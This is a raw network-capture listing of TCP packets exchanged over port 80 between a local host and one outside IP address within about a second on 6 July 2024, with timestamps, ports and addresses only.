Jul 6, 2024 14:10:20.478671074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478715897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478718042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.478725910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478758097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.479346991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.479394913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.479406118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.479415894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.479444981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.479463100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.479835987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.479887009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.479948997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.480005026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.480041981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.480051041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.480087996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.480417013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.480473042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.480555058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.480619907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.481134892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481149912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481183052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.481197119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.481220961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481280088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481317997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.481482983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481518030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.481528997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481539965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481583118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.481583118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.481740952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481806040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.481862068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.482151031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.482193947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.482219934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.482259035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.482379913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.482439995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.482471943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.482506990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.482944965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.482990026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.482991934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.483001947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.483025074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.483038902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.483280897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.483321905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.483383894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.483422995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.483577967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.483630896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.483649015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.483658075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.483689070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.483716011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.483752966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.483827114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.484113932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.484148026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.484158039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.484194994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.484213114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.672650099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.672683954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.672694921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.672753096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.672775984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.672786951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.672797918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.672807932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.672821045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.672847986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673005104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673016071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673026085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673036098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673048019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673058987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673060894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673069954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673078060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673079967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673089981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673095942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673099995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673111916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673130035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673146963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673330069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673341036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673352003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673362017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673382998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673403978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673424006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673434973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673444986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673460007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673469067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673470020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673479080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673480034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673506021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673535109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673711061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673721075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673731089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673760891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673789978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673803091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673814058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673824072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673834085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673844099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673847914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673855066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673866987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.673892975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.673907042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674307108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674318075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674328089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674339056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674349070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674359083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674359083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674369097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674377918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674384117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674387932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674395084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674397945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674407959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674416065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674418926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674434900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674443007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674444914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674468040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674478054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674789906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674799919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674809933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674819946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674829960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674830914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674839020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674848080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674849033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.674876928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.674890995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.866564035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866590023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866615057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866628885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866652012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.866677999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.866715908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866725922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866735935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866756916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.866775990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.866852045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866868973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866893053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.866904974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.866916895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866938114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.866955042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.866976976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867084980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867094994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867130041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867173910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867182970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867207050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867221117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867366076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867374897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867413044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867417097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867425919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867455006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867592096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867635012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867666006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867769003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867778063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867800951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867815018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867839098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867865086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867876053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867949009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867958069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.867958069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.867995024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868038893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868047953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868083954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868191957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868202925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868257999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868439913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868469954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868486881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868510962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868510962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868530989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868604898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868725061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868746996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868797064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868843079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868871927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868881941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.868887901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868911982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.868983984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869024038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869050980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869097948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869137049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869146109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869182110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869265079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869275093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869311094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869458914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869468927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869503975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869522095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869620085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869628906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869632959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869638920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869652033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869678974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869709015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869740963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869748116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869882107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.869921923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869931936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.869972944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870043039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870053053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870089054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870115042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870146990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870280981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870290995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870301008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870332956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870347023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870359898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870368958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870404005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870517969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870560884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870596886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870606899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870615959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870649099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870783091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870826960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870860100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870870113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870882988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870903969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870923042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.870940924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870949984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.870990038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871129990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871140003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871182919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871198893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871215105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871251106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871326923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871368885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871428967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871438980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871476889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871536970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871546984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871591091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871629000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871690989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871778965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871793985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871803999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.871834993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.871855021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.061672926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061693907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061705112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061764956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.061779976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061789989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061801910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061813116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061813116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.061824083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061831951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.061836958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061847925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061862946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.061881065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.061888933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061925888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.061970949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061981916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.061992884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062004089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062014103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062017918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062041998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062057972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062180042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062190056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062201023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062211990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.062215090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.062233925 CEST	49732	80	192.168.2.4	211.108.60.155
